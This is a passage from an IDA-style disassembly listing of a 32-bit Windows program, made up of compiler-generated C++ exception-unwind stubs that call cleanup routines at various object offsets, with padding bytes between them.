; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF10:				; DATA XREF: ___:004141F2o
		mov	eax, offset dword_441238
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF38:				; DATA XREF: ___:004412ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414300	proc near		; DATA XREF: sub_414300+2o
		mov	eax, offset dword_441280
		jmp	sub_437AB8
SEH_414300	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414430	proc near		; DATA XREF: sub_414430+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414430	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144D2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4145A0	proc near		; DATA XREF: sub_4145A0+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_4145A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414762o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4148A0	proc near		; DATA XREF: sub_4148A0+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_4148A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414AA0	proc near		; DATA XREF: sub_414AA0+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414AA0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B32o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BC2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D70	proc near		; DATA XREF: sub_414D70+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E10	proc near		; DATA XREF: sub_414E10+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E10	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A92o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416E32o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170B0	proc near		; DATA XREF: sub_4170B0+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_4170B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417120	proc near		; DATA XREF: sub_417120+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_417120	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417640	proc near		; DATA XREF: sub_417640+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417640	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176E0	proc near		; DATA XREF: sub_4176E0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4176E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177B0	proc near		; DATA XREF: sub_4177B0+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_4177B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417870	proc near		; DATA XREF: sub_417870+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417870	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417930	proc near		; DATA XREF: sub_417930+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_417930	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179F0	proc near		; DATA XREF: sub_4179F0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4179F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AD0	proc near		; DATA XREF: sub_417AD0+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B60	proc near		; DATA XREF: sub_417B60+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417B60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417CC0	proc near		; DATA XREF: sub_417CC0+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417CC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D60	proc near		; DATA XREF: sub_417D60+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417D60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417E30	proc near		; DATA XREF: sub_417E30+2o
		mov	eax, offset dword_441D08
		jmp	sub_437AB8
SEH_417E30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


